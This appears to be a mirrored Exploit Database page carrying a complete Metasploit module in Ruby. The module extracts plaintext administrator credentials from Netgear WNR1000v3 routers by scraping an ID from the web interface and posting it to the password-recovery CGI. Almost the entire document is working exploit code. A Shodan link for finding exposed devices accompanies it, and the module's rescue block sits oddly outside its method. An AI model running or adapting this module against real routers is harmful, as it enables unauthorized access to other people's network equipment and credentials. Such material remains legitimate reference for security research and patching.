Netgear WNR1000v3 – Password Recovery Credential Disclosure (Metasploit)

• Exploit Database
• 14 阅读

• 作者： c1ph04
  日期： 2014-07-07
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/33984/

• #
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  #
  # Exploit Title: Netgear WNR1000v3 Password Recovery Credential Disclosure Vulnerability
  # Date: 7-5-14
  # Exploit Author: c1ph04
  # Vendor Homepage: http://www.netgear.com/
  # Version: 1.0
  # Tested on: Netgear WNR1000v3 Router Version: <= 1.0.2.62_60.0.87
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Auxiliary
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize
  super(
  
  'Name'=> 'Netgear WNR1000v3 Password Extractor',
  
  'Description' => %q{
  This module exploits a vulnerability in the password recovery feature of certain Netgear WNR1000v3 routers.
  Affected devices will allow retrieval of the plaintext administrator credentials.
  Vulnerable Versions: <= 1.0.2.62_60.0.87
   },
  
  'References'=>
  [
  [ 'URL', 'http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html' ],
  [ 'URL', 'http://packetstormsecurity.com/files/124759/NETGEAR-WNR1000v3-Password-Disclosure.html' ],
  [ 'URL', 'http://secunia.com/community/advisories/56330' ],
  [ 'URL', 'http://www.shodanhq.com/search?q=WNR1000v3' ]
  ],
  
  'Author'=>
  [
  'c1ph04 <c1ph04mail[at]gmail.com>' # aka - "Ms. Difrank"...idiots
  ],
  'License' => MSF_LICENSE
  )
  end
  
  def run
  
  print_status("#{rhost}:#{rport} - Attempting to extract credentials...")
  
  begin
  
  res = send_request_raw({
  'uri' => '/',
  'method' => 'GET'
  })
  
  if (res.body =~ /(id)/)
  uid = res.body.scan(/\d{5,15}/)
  uid = uid[0]
  print_good("#{rhost}:#{rport} - UID Retrieved: #{uid}")
  print_good("#{rhost}:#{rport} - Sending Request...")
  
  else
  print_error("Unexpected response...is this a Netgear Router?")
  return
  
  end
  
  res2 = send_request_raw({
  'uri' => "/passwordrecovered.cgi?id=#{uid}",
  'method' => 'POST'
  })
  
  if (res2.body =~ /(successfully)/)
  creds = res2.body.scan(/left">(.*)</)
  user = creds[0]
  pass = creds[1]
  print_good("#{rhost}:#{rport} - Username: #{user}")
  print_good("#{rhost}:#{rport} - Password: #{pass}")
  
  else
  print_error("#{rhost}:#{rport} - Failed: Target Not Vulnerable")
  
  end
   end
  end
  
  rescue ::Rex::ConnectionError
  vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
  return
  
  end